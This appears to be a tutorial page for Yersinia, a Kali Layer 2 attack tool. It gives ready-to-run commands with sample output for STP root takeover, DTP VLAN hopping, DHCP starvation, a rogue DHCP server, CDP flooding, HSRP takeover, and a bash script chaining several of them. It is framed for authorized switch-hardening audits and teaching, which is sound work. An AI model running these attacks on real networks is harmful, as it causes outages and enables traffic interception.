Yersinia is a Layer 2 (Data Link layer) network protocol attack tool, named after the bacterium Yersinia pestis. Unlike Ettercap/Bettercap/Responder — which operate mostly at Layer 3 (ARP/IP) or above — Yersinia specifically targets the control-plane protocols switches and routers use to build and manage a network topology. It is the standard Kali tool for teaching and testing Layer 2 security weaknesses.
Supported protocols and attacks:
- STP (Spanning Tree Protocol) — root bridge takeover, BPDU flooding, causing network-wide topology recalculation/DoS
- CDP (Cisco Discovery Protocol) — flooding, fake neighbor injection (information disclosure / DoS on some legacy switches)
- DTP (Dynamic Trunking Protocol) — negotiating a trunk port to gain access to all VLANs from an access port (“VLAN hopping”)
- DHCP — DHCP starvation (exhausting the scope) and rogue DHCP server attacks
- HSRP (Hot Standby Router Protocol) — active router takeover
- VTP (VLAN Trunking Protocol) — VLAN database manipulation
- 802.1Q / 802.1X — basic frame-tag and authentication-bypass related tests
- ISL (Inter-Switch Link) — legacy Cisco trunking encapsulation attacks
Yersinia can be run in an interactive ncurses mode, a daemon mode with a client interface, or one-shot command-line mode for scripting.
Installation
Preinstalled on Kali. To reinstall:
sudo apt update
sudo apt install yersinia -y
Verify:
yersinia -V
Expected output:
Yersinia 0.7.3
From source:
sudo apt install libnet1-dev libpcap-dev libncurses5-dev libgtk-3-dev \
bison flex byacc -y
git clone https://github.com/tomac/yersinia.git
cd yersinia
./configure
make
sudo make install
Syntax
yersinia [OPTIONS] <protocol> [-attack | -interactive]
Example:
yersinia stp -attack 0
yersinia -I # launch full interactive ncurses mode
Command-Line Options Reference
Global options:
| Option | Description |
|---|---|
-h | Show help |
-V | Show version |
-I | Launch interactive ncurses mode (protocol selection menu inside) |
-D | Run as a daemon |
-d <file> | Debug log to file |
-c <file> | Load alternate config file |
-l <file> | Log output to file |
-M | Disable MAC spoofing (use real MAC) |
-S | Enable stealth mode (no logging/output) |
-v | Verbose |
Protocol selection (used as first positional argument): stp, cdp, dtp, dhcp, hsrp, vtp, 802.1q, 802.1x, isl, mpls
Per-protocol attack flags (-attack <N>) — example for STP:
| N | STP Attack |
|---|---|
| 0 | Sending RAW Configuration BPDU |
| 1 | Sending RAW TCN BPDU |
| 2 | Sending Configuration BPDUs flood |
| 3 | Sending TCN BPDUs flood |
| 4 | Claiming Root Role |
| 5 | Claiming Root Role and other Role (MITM) |
| 6 | Claiming Other Role |
Example for DHCP:
| N | DHCP Attack |
|---|---|
| 0 | Sending RAW packet |
| 1 | DHCP starvation attack (exhaust address pool) |
| 2 | Setting up rogue DHCP server |
Example for CDP:
| N | CDP Attack |
|---|---|
| 0 | Sending RAW packet |
| 1 | Flooding CDP table |
| 2 | Setting up virtual device (fake neighbor) |
Example for DTP:
| N | DTP Attack |
|---|---|
| 0 | Sending RAW packet |
| 1 | Enabling trunking (negotiate access port into a trunk) |
Full attack-number listings for every protocol are shown via the interactive menu (-I) or yersinia <protocol> -h.
Common per-attack parameters (used with -attack):
| Flag | Description |
|---|---|
-interface <IF> | Interface to send/receive on |
-source <MAC> | Spoofed source MAC |
-destination <MAC> | Destination MAC |
-persistent | Keep sending until manually stopped |
Basic Usage
Launch full interactive mode (recommended for beginners):
sudo yersinia -I
Expected initial screen (ncurses):
Yersinia 0.7.3 - by Slay & tomac
----------------------------------------------------------------
Protocols: [STP] [CDP] [DTP] [DHCP] [HSRP] [VTP] [802.1Q] [802.1X] [ISL] [MPLS]
Press 'h' for help, 'x' to launch an attack, 'l' to view packet list
One-shot CLI attack (sends a single Configuration BPDU flood on STP):
sudo yersinia stp -attack 2 -interface eth0
Expected output:
Launching STP attack: Sending Configuration BPDUs flood ...
Interface: eth0
Packets sent: 1042 (Ctrl+C to stop)
Practical Examples with Output
Example 1 — STP root bridge takeover (claim root role) on a lab switch
sudo yersinia stp -attack 4 -interface eth0
Output:
Sending Configuration BPDU claiming Root Bridge role...
[*] New Root Bridge Priority: 0, MAC: <attacker_mac>
[*] Switch recalculating spanning tree topology...
Switch-side symptom (example Cisco IOS log on a lab switch you own):
%SPANTREE-2-ROOTCHANGE: Root Changed for vlan 1: New Root Port is Gi0/1. New Root ID is 0/aabb.ccdd.eeff
Example 2 — DTP trunk negotiation (VLAN hopping) from an access port
sudo yersinia dtp -attack 1 -interface eth0
Output:
Sending DTP Desirable frame to negotiate trunk...
[*] Port switched to trunk mode - all VLANs now reachable
Example 3 — DHCP starvation attack (exhaust scope in a lab)
sudo yersinia dhcp -attack 1 -interface eth0
Output:
Sending DHCP DISCOVER floods with randomized MAC addresses...
Leases consumed: 254/254
[*] DHCP pool exhausted - new legitimate clients cannot obtain an address
Example 4 — Rogue DHCP server setup
sudo yersinia dhcp -attack 2 -interface eth0
Output:
Starting rogue DHCP server on eth0...
Offering address range: 192.168.1.200-192.168.1.220
DNS server offered: 192.168.1.15 (attacker)
Example 5 — CDP table flooding
sudo yersinia cdp -attack 1 -interface eth0
Output:
Flooding CDP announcements...
Packets sent: 3200
[*] Switch CDP neighbor table overflow observed
Example 6 — CDP fake neighbor (virtual device) injection
sudo yersinia cdp -attack 2 -interface eth0
Output:
Injecting fake CDP neighbor: "Router-Fake-01"
[*] Fake device now visible in `show cdp neighbors` on adjacent switch
Example 7 — HSRP active router takeover
sudo yersinia hsrp -attack 1 -interface eth0
Output:
Sending HSRP Hello with higher priority (255)...
[*] Attacker now Active router for HSRP group 1
Example 8 — Interactive mode: launching an attack via ncurses menu
Inside sudo yersinia -I:
1. Press F2 to select STP protocol
2. Press 'x' to open attack menu
3. Select "Sending Configuration BPDUs flood"
4. Press Enter to launch, 'q' to stop
Status bar output:
[STP] Attack running: Configuration BPDUs flood | Sent: 512 | Interface: eth0
Example 9 — Logging all activity to file for reporting
sudo yersinia -I -l /tmp/yersinia_session.log
Example 10 — Daemon mode with remote client control
sudo yersinia -D
# In another terminal:
yersinia -I # connects to the running daemon
Common Use Cases
- Validating switch hardening: BPDU Guard, Root Guard, DHCP Snooping, Dynamic ARP Inspection, and disabled DTP on access ports
- Physical/internal penetration tests assessing Layer 2 segmentation and VLAN isolation
- Demonstrating VLAN hopping risk to justify disabling DTP auto-negotiation (
switchport nonegotiate) on client switch configs - Teaching STP/CDP/DHCP protocol internals and their security implications in networking or cybersecurity coursework
- Testing NAC (Network Access Control) and port-security responses to rogue devices
Automation with Bash
#!/bin/bash
# yersinia_l2_audit.sh - Run a sequence of short Layer 2 attack probes for
# a switch-hardening audit, each capped to a short duration, with logging.
IFACE="eth0"
LOGDIR="/tmp/yersinia_audit_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$LOGDIR"
declare -A TESTS=(
["stp_bpdu_flood"]="stp -attack 2"
["dtp_trunk_negotiate"]="dtp -attack 1"
["cdp_flood"]="cdp -attack 1"
["dhcp_starvation"]="dhcp -attack 1"
)
for name in "${!TESTS[@]}"; do
echo "[*] Running test: $name"
sudo timeout 15 yersinia ${TESTS[$name]} -interface "$IFACE" \
> "$LOGDIR/${name}.log" 2>&1
echo "[*] Completed $name -> $LOGDIR/${name}.log"
sleep 5 # brief pause between probes to avoid overlapping effects
done
echo "[*] All Layer 2 audit probes complete. Logs in $LOGDIR"
Tips and Best Practices
- Always run Layer 2 attacks against switches you own or have explicit written authorization to test — STP/DHCP attacks are disruptive to an entire broadcast domain, not just one host, and can cause outages far beyond your intended scope.
- Run one protocol/attack at a time and note the switch’s real-time behavior in engagement notes — this is as much a diagnostic exercise (does the switch have BPDU Guard/DHCP Snooping enabled?) as an offensive one.
- Prefer short, timed test windows (use
timeout) rather than-persistentfloods during live-network audits to minimize disruption. - Interactive mode (
-I) is best for learning and manual testing; one-shot CLI mode is better for scripted, repeatable audits. - After testing STP attacks, verify the switch topology returns to normal — some legacy switches need a manual STP recalculation nudge if BPDU Guard isn’t configured.
Troubleshooting
| Problem | Cause / Fix |
|---|---|
Permission denied on start | Needs raw socket access — run with sudo |
| Attack has no visible effect on switch | Target switch likely has BPDU Guard / Root Guard / DHCP Snooping / port security enabled — that’s the hardening working as intended |
| ncurses interface renders garbled | Terminal too small or incompatible TERM value — resize terminal or set export TERM=xterm |
| DHCP starvation attack doesn’t exhaust pool | Switch/router has DHCP snooping with rate limiting, or pool is very large — expected in well-configured networks |
| Daemon mode client can’t connect | Daemon (-D) not running, or client launched before daemon initialized |
References
- Official Yersinia GitHub repository: https://github.com/tomac/yersinia
- Kali Linux Tools listing: https://www.kali.org/tools/yersinia/
- Cisco documentation on Layer 2 hardening (BPDU Guard, DHCP Snooping, DAI): https://www.cisco.com/
